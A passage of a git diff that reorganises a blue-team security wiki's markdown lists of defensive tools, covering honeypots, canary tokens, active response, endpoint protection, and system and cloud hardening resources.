Examples include a Word document that alerts when opened or an HTML snippet that calls home when a page is accessed. + * [Reference: ADHD Project - CanaryTokens](https://adhdproject.github.io/#!Tools/Attribution/CanaryTokens.md) + * [Video: Canary Tokens Overview](https://www.youtube.com/watch?v=mDnaEmpO1C4) +* [**Deploy-Deception**](https://github.com/samratashok/Deploy-Deception) - PowerShell module for deploying Active Directory decoy objects. +* [**CryptoLocked**](https://github.com/PrometheanInfoSec/cryptolocked-ng) - An anti-ransomware toolkit designed to detect and impede ransomware activity. + * *Note: Verify current maintenance status before deployment.* {% endtab %} {% endtabs %} {% embed url="https://youtu.be/14YuyMkfB9Q" %} +### **Active Response** + +Active Response involves taking automated, direct action against a detected threat to block or mitigate it in real-time. This differs from passive detection where an alert is generated for human review. + +* [**Fail2Ban**](https://github.com/fail2ban/fail2ban) - A widely-used intrusion prevention software that scans log files (e.g., `/var/log/auth.log`) and bans IPs that show malicious signs like too many password failures. +* [**CrowdSec**](https://github.com/crowdsecurity/crowdsec) - A modern collaborative security automation engine. It analyzes behaviors, responds to attacks (by blocking IPs, presenting captchas, etc.), and shares threat intelligence across the community. + * [cs-php-bouncer](https://github.com/crowdsecurity/cs-php-bouncer) - CrowdSec PHP bouncer using the `auto_prepend` mechanism. +* [**PSAD**](https://github.com/mrash/psad) (Port Scan Attack Detection) - Analyzes iptables log messages to detect, alert, and (optionally) block port scans and other suspect traffic. + ### **Attribution** -Ever wonder who is attacking you? Not what IP they are proxying through, but who is really attacking you? Unmasking attackers and getting detailed intelligence on how your data is being accessed and used, allows you to take proactive steps to protect against the next round of attacks. +Attribution focuses on identifying the adversary behind an attack. Unmasking attackers and gathering detailed intelligence on their methods and motivations enables organizations to differentiate between opportunistic scripts and targeted campaigns, allowing for more effective response strategies. -* [Cowrie](https://github.com/cowrie/cowrie) - Cowrie is a medium to high interaction SSH and Telnet honeypot designed to log brute force attacks and the shell interaction performed by the attacker. In medium interaction mode (shell) it emulates a UNIX system in Python, in high interaction mode (proxy) it functions as an SSH and telnet proxy to observe attacker behavior to another system. - * [https://adhdproject.github.io/#!Tools/Annoyance/Cowrie.md](https://adhdproject.github.io/#!Tools/Annoyance/Cowrie.md) - * [Guide to using Cowrie](https://slashparity.com/?p=734) -* [Decloak](https://bitbucket.org/ethanr/decloak) - Used to identify the real IP address of a web user, regardless of proxy settings, using a combination of client-side technologies and custom services. - * [https://adhdproject.github.io/#!Tools/Attribution/Decloak.md](https://adhdproject.github.io/#!Tools/Attribution/Decloak.md) -* [HoneyBadger](https://github.com/adhdproject/honeybadger) - Used to identify the physical location of a web user with a combination of geolocation techniques using a browser's share location feature, the visible WiFi networks, and the IP address. - * [https://adhdproject.github.io/#!Tools/Attribution/HoneyBadger.md](https://adhdproject.github.io/#!Tools/Attribution/HoneyBadger.md) -* [https://github.com/Phype/telnet-iot-honeypot](https://github.com/Phype/telnet-iot-honeypot) +* [**HoneyBadger**](https://github.com/adhdproject/honeybadger) - Identifies the physical location of a web user by combining browser geolocation features, visible WiFi networks, and IP address data. + * [Reference: ADHD Project - HoneyBadger](https://adhdproject.github.io/#!Tools/Attribution/HoneyBadger.md) +* [**Telnet IoT Honeypot**](https://github.com/Phype/telnet-iot-honeypot) - A Python-based honeypot designed to catch botnets that utilize Telnet. ### **Network Poisoner Detection** -Network Poisoners like Responder can capture and respond to LLMNR, NBT-NS and MDNS traffic within your network for use in lateral movement and internal recon. It will answer to _specific_ NBT-NS (NetBIOS Name Service) queries based on their name suffix. It is possible to detect these by various means including sets of fake credentials that would only be captured by a network poisoner. +Tools like Responder act as "network poisoners" by listening for and responding to LLMNR, NBT-NS, and mDNS multicast requests within a network. Detecting these poisoners often involves broadcasting queries for non-existent resources or deploying fake credentials. + +* **HoneyCreds** - A network credential injection tool designed to detect Responder and other active network poisoners by monitoring for attempts to capture the injected credentials. + +## **Legacy or Deprecated Tools** + +While these tools were historically significant or useful, they are often unmaintained, superseded by modern alternatives, or no longer actively developed. They are listed here for educational purposes or reference for older environments. -* [Respounder](https://github.com/codeexpress/respounder) - Respounder sends LLMNR name resolution requests for made-up hostnames that do not exist. In a normal non-adversarial network we do not expect such names to resolve. However, a responder, if present in the network, will resolve such queries and therefore will be forced to reveal itself. -* [HoneyCreds](https://github.com/Ben0xA/HoneyCreds) - HoneyCreds network credential injection to detect responder and other network poisoners. +* **HoneyD** - The original honeypot concept, but unmaintained for many years. +* **MHN (Modern Honeypot Network)** - Once a standard for honeypot management, the original project is largely inactive. +* **Wordpot** - A WordPress honeypot, likely outdated due to the rapid changes in WordPress core. +* **LaBrea** - An early tarpit innovation, now largely of historical interest (see *Endlessh* for a modern alternative). +* **Artillery** - While effective in its time, development has slowed or ceased in favor of other EDR/active response tools. +* **Decloak** - A tool used to identify the real IP address of a web user. Relied on older technologies like Flash/Java applets which are now deprecated in modern browsers. +* **dcept** - An early tool for deploying Active Directory honey tokens (from SecureWorks). +* **Respounder** - A tool to detect Responder by generating LLMNR queries. ## **Resources and Collections** -* [Awesome Lists Collection: Active Defense](https://github.com/adhdproject/awesome-active-defense) -* [ADHD - Active Defense Harbinger Distribution ](https://adhdproject.github.io/#!index.md)- A project that has spawned from the work of Blackhills Infosec and Active Countermeasures, ADHD is a ubuntu based OS distribution that comes loaded with a slew of the best Active defense focused tools available. It is a free distribution that also has a ton of free learning content developed by Active Countermeasures. Check out their webcasts and the training at Wild West Hackin' Fest, for more details on how to make the most of these tools - * [https://github.com/adhdproject/adhdproject.github.io/blob/master/index.md](https://github.com/adhdproject/adhdproject.github.io/blob/master/index.md) -* [Talos Active Defense Toolkit ](https://github.com/PrometheanInfoSec/TALOS)- Provides a central hub, through which Computer Network Defenders could operate seamlessly, simply, and powerfully, to deploy Active Defense tools on their networks. -* Offensive Countermeasures: The Art of Active Defense - John Strand -* _BTFM: Honey Techniques - pg. 48_ +* [**Awesome Lists: Active Defense**](https://github.com/adhdproject/awesome-active-defense) +* [**ADHD - Active Defense Harbinger Distribution**](https://adhdproject.github.io/#!index.md) - Born from the work of Black Hills Information Security and Active Countermeasures, ADHD is an Ubuntu-based distribution pre-loaded with a comprehensive suite of active defense tools. It also includes extensive learning content. + * [Source Repo](https://github.com/adhdproject/adhdproject.github.io/blob/master/index.md) +* [**TALOS Active Defense Toolkit**](https://github.com/PrometheanInfoSec/TALOS) - A central hub for seamless deployment of active defense tools on defensive networks. +* **Book:** *Offensive Countermeasures: The Art of Active Defense* - John Strand +* _Reference: BTFM: Honey Techniques - pg. 48_ diff --git a/blue-defense/blue-toolbox.md b/blue-defense/blue-toolbox.md index f097943..fbba81e 100644 --- a/blue-defense/blue-toolbox.md +++ b/blue-defense/blue-toolbox.md @@ -1,73 +1,89 @@ -# Blue ToolBox +# Blue Team Toolbox -This section contains handy links and tools for anything else not mentioned in the previous sections. +This page collects defensive tools that do not fit cleanly into a narrower Blue page. If a tool belongs to a specific workflow, use the related section instead of duplicating the full entry here. -### **Open Source AntiVirus/AntiMalware/AntiRootkit** +## Endpoint Protection and Local Security -* [ClamAV](https://www.clamav.net/downloads) - ClamAV is an open source antivirus engine for detecting trojans, viruses, malware & other malicious threats. - * [https://docs.clamav.net/Introduction.html](https://docs.clamav.net/Introduction.html) - * For Linux users, clamAV has a new on-access scanning option. Make sure you have it enabled! [https://docs.clamav.net/manual/OnAccess.html](https://docs.clamav.net/manual/OnAccess.html) -* [Immunet](https://www.immunet.com/index) - Immunet is a malware and antivirus protection system that utilizes cloud computing to provide enhanced community-based security. +* [Rootkit Hunter (rkhunter)](https://rkhunter.sourceforge.net/) - Unix-based tool that scans for rootkits, backdoors, and possible local exploits. +* [Chkrootkit](http://www.chkrootkit.org/) - Local rootkit checking tool. +* [PortMaster](https://safing.io/) - Free and open-source application firewall with adjustable defense profiles. +* [OpenSnitch](https://github.com/evilsocket/opensnitch) - Linux application firewall. +* [FireJail](https://github.com/netblue30/firejail) - SUID sandbox program that reduces risk by restricting application runtime environments with Linux namespaces, seccomp-bpf, and capabilities. +* [Santa](https://github.com/google/santa) - Binary authorization system for macOS. +* [KnockKnock](https://objective-see.org/products/knockknock.html) - macOS persistence discovery tool from Objective-See. +* [LuLu](https://objective-see.org/products/lulu.html) - Open-source macOS firewall for controlling outbound connections. -### Secure Firmware +## Firmware and Platform Security -* [Coreboot](https://doc.coreboot.org/getting\_started/index.html) is a replacement for your BIOS / UEFI with a strong focus on boot speed, security and flexibility. It is designed to boot your operating system as fast as possible without any compromise to security, with no back doors. -* [TianoCore](https://www.tianocore.org/) is a community project supporting an open source implementation of the Unified Extensible Firmware Interface (UEFI). EDK II is a modern, feature-rich, cross-platform firmware development environment for the UEFI and UEFI Platform Initialization (PI) specifications. +* [Coreboot](https://doc.coreboot.org/getting_started/index.html) - Open firmware project focused on boot speed, security, and flexibility. +* [TianoCore](https://www.tianocore.org/) - Open-source implementation of UEFI and UEFI Platform Initialization specifications. +* [eBPF](https://ebpf.io/) - Kernel programmability technology used for observability, networking, and security controls. +* [eBPF for Windows](https://github.com/microsoft/ebpf-for-windows) - Microsoft implementation of eBPF for Windows. +* [SELinux](https://github.com/SELinuxProject/selinux) - Mandatory access control framework for Linux. +* [AppArmor](https://www.apparmor.net/) - Linux application confinement system. +* [Grsecurity](https://grsecurity.net/) - Linux kernel security enhancement project. -### **Personal Firewall/Sandbox** +## Email, Browser, and User-Facing Defense -* [PortMaster ](https://safing.io/)- Portmaster is a free and open-source application firewall with audjustable defense profiles, white/blacklisting, and amazing extra features. -* [OpenSnitch](https://github.com/evilsocket/opensnitch) - Linux Application Firewall. The first thing I install. -* [FireJail](https://github.com/netblue30/firejail) - Firejail is a SUID sandbox program that reduces the risk of security breaches by restricting the running environment of untrusted applications using Linux namespaces, seccomp-bpf and Linux capabilities. -* [eBPF](https://ebpf.io/) is a technology that can run sandboxed programs in the Linux kernel without changing kernel source code or loading kernel modules. By making the Linux kernel programmable, infrastructure software can leverage existing layers, making them more intelligent and feature-rich without continuing to add additional layers of complexity to the system. -* [eBPF for Windows](https://github.com/microsoft/ebpf-for-windows) is an eBPF implementation that runs on top of Windows. eBPF is a well-known technology for providing programmability and agility, especially for extending an OS kernel, for use cases such as DoS protection and observability. +* [Sublime Security](https://sublimesecurity.com/) - Email detection and response platform with custom rule support. +* [uBlock Origin](https://github.com/gorhill/uBlock) - Efficient wide-spectrum browser content blocker. +* [Privacy Badger](https://privacybadger.org/) - Browser extension that learns to block invisible trackers. +* [Veracrypt](https://veracrypt.fr/en/Home.html) - Open-source disk encryption. -### OpenSource Email Security +## Security Infrastructure Tools -* [https://sublimesecurity.com/](https://sublimesecurity.com/) - Sublime lets you write and run custom detection and response rules to block phishing attacks, hunt for threats, and more. +* [Zuul](https://github.com/Netflix/zuul) - L7 application gateway for dynamic routing, monitoring, resiliency, and security. +* [IPFire](https://www.ipfire.org/) - Open-source firewall distribution. +* [pfSense](https://www.pfsense.org/) - Open-source firewall and router platform. +* [Pi-hole](https://pi-hole.net/) - DNS sinkhole for blocking unwanted domains at the network level. +* [CrowdSec](https://github.com/crowdsecurity/crowdsec/) - Collaborative behavior engine for detecting and blocking attacks. +* [SANS Security Policy Templates](https://www.sans.org/information-security-policy/) - Security policy templates for common organizational needs. -### **VMs/OSs** +## Small Utilities -* [Security Onion](https://securityonionsolutions.com/) - Security Onion is a free and open source Linux distribution for threat hunting, enterprise security monitoring, and log management. -* [SANS SIFT ](https://digital-forensics.sans.org/community/downloads)- The SIFT Workstation is a collection of free and open-source incident response and forensic tools designed to perform detailed digital forensic examinations in a variety of settings. -* [Flare](https://github.com/fireeye/flare-vm) - A fully customizable, Windows-based security distribution for malware analysis, incident response, penetration testing, etc. -* [Remnux](https://remnux.org/) - REMnux® is a Linux toolkit for reverse-engineering and analyzing malicious software. REMnux provides a curated collection of free tools created by the community. Analysts can use it to investigate malware without having to find, install, and configure the tools. -* [SOF-ELK](https://github.com/philhagen/sof-elk) - SOF-ELK® is a “big data analytics” platform focused on the typical needs of computer forensic investigators/analysts and information security operations personnel. The platform is a customized build of the open source Elastic stack, consisting of the Elasticsearch storage and search engine, Logstash ingest and enrichment system, Kibana dashboard frontend, and Elastic Beats log shipper (specifically filebeat). +* [Network Tools](https://network-tools.com/) - Web-based network toolset. +* [Google Admin Toolbox](https://toolbox.googleapps.com/apps/main/) - Miscellaneous Google administration and diagnostic utilities. +* [Google Charts](https://developers.google.com/chart) - Charting library for visualizations. +* [Gnuplot](http://www.gnuplot.info/) - Command-line graphing utility. -### **MacOS** +## Related Tool Homes -* [Venator-Swift](https://github.com/richiercyrus/Venator-Swifthttps:/github.com/richiercyrus/Venator-Swift) - Swift Command line tool used for proactive detection of malicious activity on macOS systems. -* [Santa](https://github.com/google/santa) - Santa is a binary authorization system for macOS -* [KnockKnock](https://www.objective-see.com/products/knockknock.html) - KnockKnock uncovers persistently installed software in order to generically reveal such malware. -* [LuLu](https://objective-see.com/products/lulu.html) - Open-source firewall that aims to block unknown outgoing connections, protecting your privacy and your Mac! -* _Operator Handbook: MacOS Defend - pg.162_ +* SIEM, IDS/IPS, endpoint detection, Sysmon, and detection engineering tools live in Event Detection. -### Security Infrastructure Tools +{% content-ref url="event-detection/" %} +[event-detection](event-detection/) +{% endcontent-ref %} -* [MADCert](https://github.com/NationalSecurityAgency/MADCert) is a cross-platform tool that consists of a certificate generator, a file system certificate manager, and a command line interface for the purposes of testing. -* [BLESS(Bastion's Lambda Ephemeral SSH Service)](https://github.com/Netflix/bless) is an SSH Certificate Authority that runs as an AWS Lambda function and is used to sign SSH public keys. -* [Zuul](https://github.com/Netflix/zuul) is an [L7 application gateway](https://www.f5.com/services/resources/glossary/application-layer-gateway) that provides capabilities for dynamic routing, monitoring, resiliency, security, and more. -* [D4 DDOS detection tool ](https://d4-project.org/) -* [IPFire Open Source Firewall](https://www.ipfire.org/) -* [pfSense](https://www.pfsense.org/) is a free and open source firewall and router that also features unified threat management, load balancing, multi WAN, and more. -* [Pi-hole](https://pi-hole.net/) is a [DNS sinkhole](https://en.wikipedia.org/wiki/DNS\_Sinkhole) that protects your devices from unwanted content, without installing any client-side software, intended for use on a private network. It is designed for use on embedded devices with network capability, such as the Raspberry Pi, but it can be used on other machines running Linux and cloud implementations. -* [https://github.com/SpyGuard/SpyGuard](https://github.com/SpyGuard/SpyGuard) - +* Packet capture, Zeek, Wireshark, Zui, and protocol analysis tools live in Packet Analysis. -### **Misc Tools** +{% content-ref url="packet-analysis.md" %} +[packet-analysis.md](packet-analysis.md) +{% endcontent-ref %} -* [SELinux](https://github.com/SELinuxProject/selinux) is a security enhancement to Linux which allows users and administrators more control over access control. Access can be constrained on such variables as which users and applications can access which resources. These resources may take the form of files. Standard Linux access controls, such as file modes (-rwxr-xr-x) are modifiable by the user and the applications which the user runs. Conversely, SELinux access controls are determined by a policy loaded on the system which may not be changed by careless users or misbehaving applications. -* [AppArmor](https://www.apparmor.net/) is an effective and easy-to-use Linux application security system. AppArmor proactively protects the operating system and applications from external or internal threats, even zero-day attacks, by enforcing good behavior and preventing both known and unknown application flaws from being exploited. AppArmor supplements the traditional Unix discretionary access control (DAC) model by providing mandatory access control (MAC). It has been included in the mainline Linux kernel since version 2.6.36 and its development has been supported by Canonical since 2009. -* Graph and Charting tools - * [https://developers.google.com/chart](https://developers.google.com/chart) - * [http://www.gnuplot.info/](http://www.gnuplot.info/) - * [http://afterglow.sourceforge.net/](http://afterglow.sourceforge.net/) -* [Veracrypt](https://archive.codeplex.com/?p=veracrypt) - Open source disk encryption -* [Network Tools](https://network-tools.com/) - Free online network toolset -* IP address ranges by country - [https://lite.ip2location.com/ip-address-ranges-by-country](https://lite.ip2location.com/ip-address-ranges-by-country) -* [TheHive (SOAR/Ticket system) ](https://github.com/TheHive-Project/TheHive)- [TheHive](https://thehive-project.org/) is a scalable 3-in-1 open source and free Security Incident Response Platform designed to make life easier for SOCs, CSIRTs, CERTs and any information security practitioner dealing with security incidents that need to be investigated and acted upon swiftly -* [Cortex](https://github.com/TheHive-Project/Cortex) - Tool for analyzing TheHive Observables at scale. -* [SANS Security Policy Templates](https://www.sans.org/information-security-policy/) -* [CrowdSec collective behavior engine](https://github.com/crowdsecurity/crowdsec/) -* [Google Toolbox](https://toolbox.googleapps.com/apps/main/) - Misc Web based utilities -* [https://grsecurity.net/](https://grsecurity.net/) +* Threat intelligence platforms, indicator enrichment, URL reputation, VirusTotal, URLScan, MISP, and OpenCTI live in Cyber Intelligence. +{% content-ref url="../cyber-intelligence/" %} +[cyber-intelligence](../cyber-intelligence/) +{% endcontent-ref %} + +* Incident response, forensics, malware analysis, sandboxing, YARA, SIFT, REMnux, FLARE VM, Velociraptor, Volatility, and Eric Zimmerman tools live in DFIR. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/" %} +[dfir-digital-forensics-and-incident-response](../dfir-digital-forensics-and-incident-response/) +{% endcontent-ref %} + +* Deception, honeypots, canary tokens, Fail2Ban, CrowdSec, and active response live in Active Defense. + +{% content-ref url="active-defense.md" %} +[active-defense.md](active-defense.md) +{% endcontent-ref %} + +## Archived / Deprecated Projects + +These tools are no longer actively maintained but remain here for reference or legacy compatibility. + +* [Venator-Swift](https://github.com/richiercyrus/Venator-Swift) - Archived proactive detection project for macOS systems. +* [MADCert](https://github.com/NationalSecurityAgency/MADCert) - Archived certificate generator and manager. +* [BLESS](https://github.com/Netflix/bless) - Archived Lambda-based ephemeral SSH bastion. +* [D4 Project](https://d4-project.org/) - Inactive distributed denial-of-service detection project. +* [AfterGlow](http://afterglow.sourceforge.net/) - Legacy network visualization tool. diff --git a/blue-defense/device-hardening/README.md b/blue-defense/device-hardening/README.md index 2493839..e16ae6b 100644 --- a/blue-defense/device-hardening/README.md +++ b/blue-defense/device-hardening/README.md @@ -1,94 +1,103 @@ # Device Auditing and Hardening -The best way to understand what device hardening and how to do it, is to follow [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/). This organization has developed standards for hardening different operating systems and applications to a proper level in an enterprise environment. Not only do they have step by step walk-troughs of what to look for and how to do it, they also have scripts that can check and even automate the hardening for you. As a security analyst of any level or specialty, learning the available configuration based vulnerabilities of the platforms you work with on a daily basis, is one of the most valuable things you can do to improve you skillset. +Detections, alerts, and all the "fancy" security tools are completely worthless if the devices you are trying to protect are not properly hardened against the onslaught of attacks they face day-to-day. Most, if not all, devices and applications in their "factory fresh" state are not properly hardened for use in an enterprise environment. Many features that you might appreciate as a convenience in your home network are actually a major vulnerability in a large-scale network deployed at your company. -[AuditScripts](https://www.auditscripts.com/) is another great set of tools that can perform configuration hardening audits based on different requirements, including the choice of those defined by CIS. +The best way to understand device hardening and how to perform it is to follow [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/). This organization has developed standards for hardening different operating systems and applications to an appropriate level for enterprise environments. Not only do they have step-by-step walkthroughs of what to look for and how to remediate issues, but they also often have scripts that can check and even automate the hardening process. As a security analyst of any level or specialty, learning the available configuration-based vulnerabilities of the platforms you work with on a daily basis is one of the most valuable things you can do to improve your skillset. + +[AuditScripts](https://crfsecure.org/auditscripts/) is another great set of tools that can perform configuration hardening audits based on different requirements, including the choice of those defined by CIS. ## Security Auditing Tools * Auditing toolkits * [Lynis (Linux Security Auditing)](https://github.com/CISOfy/Lynis) - Lynis is a security auditing tool for systems based on UNIX like Linux, macOS, BSD, and others. It performs an in-depth security scan and runs on the system itself. - * [Seatbelt (Windows Security Auditing) ](https://github.com/GhostPack/Seatbelt)- Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives. - * [BTPS: Blue team Powershell Toolkit ](https://github.com/tobor88/BTPS-SecPack)- A collection of PowerShell tools that can be utilized to protect defend an environment based Microsoft's recommendations. -* [Bloodhound Enterprise ](https://bloodhoundenterprise.io/)- Enterprise grade attack path management solution -* [Purple Knight](https://www.purple-knight.com/) - An enterprise grade Active Directory Defense solution with AD mapping, security reports, security indicators and remediation guides. -* [debsums](https://manpages.ubuntu.com/manpages/trusty/man1/debsums.1.html) - Utility for checking installed debian packages and comparing that hashes against a list of known good ones. Handy to run every once + * [Seatbelt (Windows Security Auditing)](https://github.com/GhostPack/Seatbelt) - Seatbelt is a C# project that performs a number of security-oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives. + * [BTPS: Blue team Powershell Toolkit](https://github.com/tobor88/BTPS-SecPack) - A collection of PowerShell tools that can be utilized to protect and defend an environment based on Microsoft's recommendations. +* [Bloodhound Enterprise](https://bloodhoundenterprise.io/) - Enterprise-grade attack path management solution. +* [Purple Knight](https://www.semperis.com/purple-knight/) - An enterprise-grade Active Directory Defense solution with AD mapping, security reports, security indicators, and remediation guides. +* [debsums](https://manpages.ubuntu.com/manpages/trusty/man1/debsums.1.html) - Utility for checking installed Debian packages and comparing their hashes against a list of known good ones. Handy to run periodically to detect file integrity changes. * [PSPKIAudit](https://github.com/GhostPack/PSPKIAudit) - PowerShell toolkit for auditing Active Directory Certificate Services (AD CS). -* [WDACTools](https://github.com/mattifestation/WDACTools) - A PowerShell module to facilitate building, configuring, deploying, and auditing Windows Defender Application Control (WDAC) policies +* [WDACTools](https://github.com/mattifestation/WDACTools) - A PowerShell module to facilitate building, configuring, deploying, and auditing Windows Defender Application Control (WDAC) policies. * [CSET](https://www.cisa.gov/stopransomware/cyber-security-evaluation-tool-csetr) - The Cyber Security Evaluation Tool (CSET®) is a stand-alone desktop application that guides asset owners and operators through a systematic process of evaluating Operational Technology and Information Technology. +* [OpenSCAP](https://www.open-scap.org/) - An ecosystem of open source software for implementing and enforcing NIST's Security Content Automation Protocol (SCAP) standards. It serves as a powerful tool for vulnerability assessment and compliance checking (STIG/CIS). ## Hardening Tools * [Microsoft Attack Surface Analyzer](https://github.com/Microsoft/AttackSurfaceAnalyzer) - Attack Surface Analyzer is a [Microsoft](https://github.com/microsoft/) developed open source security tool that analyzes the attack surface of a target system and reports on potential security vulnerabilities introduced during the installation of software or system misconfiguration. -* [OSChameleon](https://github.com/mushorg/oschameleon) - OS Fingerprint Obfuscation for modern Linux Kernels. - * [https://adhdproject.github.io/#!Tools/Annoyance/OsChameleon.md](https://adhdproject.github.io/#!Tools/Annoyance/OsChameleon.md) -* [Portspoof](https://github.com/drk1wi/portspoof) - A tool for confusing port scanners by returning false port information. - * [https://www.blackhillsinfosec.com/how-to-use-portspoof-cyber-deception/](https://www.blackhillsinfosec.com/how-to-use-portspoof-cyber-deception/) -* [HardenTools](https://github.com/securitywithoutborders/hardentools) - a collection of simple utilities designed to disable a number of "features" exposed by operating systems (Microsoft Windows, for now), and primary consumer applications. -* [atc-mitigation](https://github.com/atc-project/atc-mitigation) - Actionable analytics designed to combat threats based on MITRE's ATT\&CK. -* [https://www.oo-software.com/en/shutup10](https://www.oo-software.com/en/shutup10) - Free anti-spy and telemetry logging tool for Windows 10 and 11 +* [HardenTools](https://github.com/securitywithoutborders/hardentools) - A collection of simple utilities designed to disable a number of "features" exposed by operating systems (Microsoft Windows, for now), and primary consumer applications. +* [O&O ShutUp10++](https://www.oo-software.com/en/shutup10) - Free anti-spy and telemetry logging tool for Windows 10 and 11. * [Google's Browser Info Checker](https://toolbox.googleapps.com/apps/browserinfo/) - Checks what info you might be sharing to others through your browser. Requires Javascript. -* [Googe's MXChecker](https://toolbox.googleapps.com/apps/checkmx/) - Checks for common MX domain security settings. -* [cs-php-bouncer](https://github.com/crowdsecurity/cs-php-bouncer) - This bouncer leverages the PHP `auto_preprend` mechanism. - - New/unknown IP are checked against crowdsec API, and if request should be blocked, a **403** or a captcha can be returned to the user, and put in cache. +* [Google's MXChecker](https://toolbox.googleapps.com/apps/checkmx/) - Checks for common MX domain security settings. * [dev-sec](https://github.com/dev-sec/) - Security + DevOps: Automatic Server Hardening. -* [grapheneX](https://github.com/grapheneX/grapheneX) - Automated System Hardening Framework -* [Legit-Labs/legitify](https://github.com/Legit-Labs/legitify) - Detect and remediate misconfigurations and security risks across all your GitHub assets -* [https://github.com/cisagov/ScubaGear](https://github.com/cisagov/ScubaGear) - Automation to assess the state of your M365 tenant against CISA's baselines +* [grapheneX](https://github.com/grapheneX/grapheneX) - Automated System Hardening Framework. +* [Legit-Labs/legitify](https://github.com/Legit-Labs/legitify) - Detect and remediate misconfigurations and security risks across all your GitHub assets. +* [ScubaGear](https://github.com/cisagov/ScubaGear) - Automation to assess the state of your M365 tenant against CISA's baselines. +### Cloud & Container Hardening + +* [Prowler](https://github.com/prowler-cloud/prowler) - An Open Source security tool to perform AWS, Azure, and Google Cloud security best practices assessments, audits, incident response, continuous monitoring, hardening, and forensics readiness. +* [ScoutSuite](https://github.com/nccgroup/ScoutSuite) - An open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. +* [kube-bench](https://github.com/aquasecurity/kube-bench) - Checks whether Kubernetes is deployed securely by running the checks documented in the CIS Kubernetes Benchmark. +* [Checkov](https://github.com/bridgecrewio/checkov) - A static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages. ### Linux -* [https://wiki.ubuntu.com/AppArmor](https://wiki.ubuntu.com/AppArmor) - proactively protects the operating system and applications from external or internal threats. -* [https://github.com/SELinuxProject](https://github.com/SELinuxProject) - provides a flexible Mandatory Access Control (MAC) system built into the Linux kernel. +* [Ubuntu Wiki: AppArmor](https://wiki.ubuntu.com/AppArmor) - Proactively protects the operating system and applications from external or internal threats. +* [GitHub: SELinuxProject](https://github.com/SELinuxProject) - Provides a flexible Mandatory Access Control (MAC) system built into the Linux kernel. -### Apache Web Server +### macOS -* [mod\_evasive](https://github.com/jzdziarski/mod\_evasive) - mod\_evasive module is an Apache web services module that helps your server stay running in the event of a DDOS or Brute Force attack. - * [https://phoenixnap.com/kb/apache-mod-evasive](https://phoenixnap.com/kb/apache-mod-evasive) -* [ModSecurity-apache](https://github.com/SpiderLabs/ModSecurity-apache) - ModSecurity is a plug-in module for Apache that works like a firewall. It functions through rule sets, which allow you to customize and configure your [server security](https://phoenixnap.com/kb/server-security-tips). - * [https://phoenixnap.com/kb/setup-configure-modsecurity-on-apache](https://phoenixnap.com/kb/setup-configure-modsecurity-on-apache) +* [macOS Security Compliance Project](https://github.com/usnistgov/macos_security) - A NIST-led project to provide a programmatic approach to generating security configuration profiles for macOS. ## Hardening Resources * [Awesome Lists Collection: Security Hardening](https://github.com/decalage2/awesome-security-hardening) * [Awesome Lists Collection: Windows Domain Hardening](https://github.com/PaulSec/awesome-windows-domain-hardening) -* [https://social.technet.microsoft.com/wiki/contents/articles/18931.security-hardening-tips-and-recommendations.aspx](https://social.technet.microsoft.com/wiki/contents/articles/18931.security-hardening-tips-and-recommendations.aspx) +* [TechNet: Security Hardening Tips and Recommendations](https://social.technet.microsoft.com/wiki/contents/articles/18931.security-hardening-tips-and-recommendations.aspx) +* [DoD Cyber Exchange: STIGs](https://public.cyber.mil/stigs/) - The Security Technical Implementation Guides (STIGs) are the configuration standards for United States Department of Defense (DoD) Information Assurance (IA) and IA-enabled devices/systems. * [Developing a Secure Baseline](https://adsecurity.org/?p=3299) -* [OWASP Cryptographic Storage Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic\_Storage\_Cheat\_Sheet.html) - Guide and Reference for best standards for encrypting stored data. -* [https://cheatsheetseries.owasp.org/cheatsheets/Authorization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Authorization\_Cheat\_Sheet.html) -* [NSA's Secure Windows baseline](https://github.com/nsacyber/Windows-Secure-Host-Baseline) -* [https://www.securedyou.com/how-to-secure-linux-server-from-hackers-hardening-guide/](https://www.securedyou.com/how-to-secure-linux-server-from-hackers-hardening-guide/) -* [NSA\_NETWORK\_INFRASTRUCTURE\_SECURITY\_GUIDANCE\_20220301.PDF](https://media.defense.gov/2022/Mar/01/2002947139/-1/-1/0/CTR\_NSA\_NETWORK\_INFRASTRUCTURE\_SECURITY\_GUIDANCE\_20220301.PDF) -* [https://admx.help/](https://admx.help/) - Group Policy Administrative Templates Catalog -* _Defensive Securit Handbook: Microsoft Windows Infrastructure - pg. 81_ -* _Defensive Securit Handbook: Hardening Endpoints - pg. 116_ -* _Defensive Securit Handbook: Network Infrastructure - pg. 143_ +* [NSA's Secure Windows Baseline](https://github.com/nsacyber/Windows-Secure-Host-Baseline) +* [Top 20 Linux Security Tips](https://www.cyberciti.biz/tips/linux-security.html) - Classic guide for securing Linux servers. +* [NSA Network Infrastructure Security Guidance (2022)](https://media.defense.gov/2022/Mar/01/2002947139/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDANCE_20220301.PDF) +* [GPSearch](https://gpsearch.azurewebsites.net/) - A searchable database of Group Policy settings. +* _Defensive Security Handbook: Microsoft Windows Infrastructure - pg. 81_ +* _Defensive Security Handbook: Hardening Endpoints - pg. 116_ +* _Defensive Security Handbook: Network Infrastructure - pg. 143_ ### AD hardening * [Active Directory Security Assessment Checklist](https://www.cert.ssi.gouv.fr/uploads/guide-ad.html) - CERT.FR -* [Active Directory Certificate Services](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh831740\(v=ws.11\)) - An often overlooked tool that should come with most Microsoft licenses, use AD certificates to sign scripts and docs made in your environment, to easily detect what is foreign. Detections, alerts, and all the fancy security tools are completely worthless, if the devices you are trying to protect are not properly hardened against the onslaught of attacks they might face day to day. Most if not all devices and even applications, in their factory fresh state, are not properly hardened for use in an enterprise environment. Many features that you might appreciate as a convenience in your home network, are actually a major vulnerability in a large scale network deployed at your company. - * [ Locksmith](https://github.com/TrimarcJake/Locksmith) - A tool to identify and remediate common misconfigurations in Active Directory Certificate Services - * 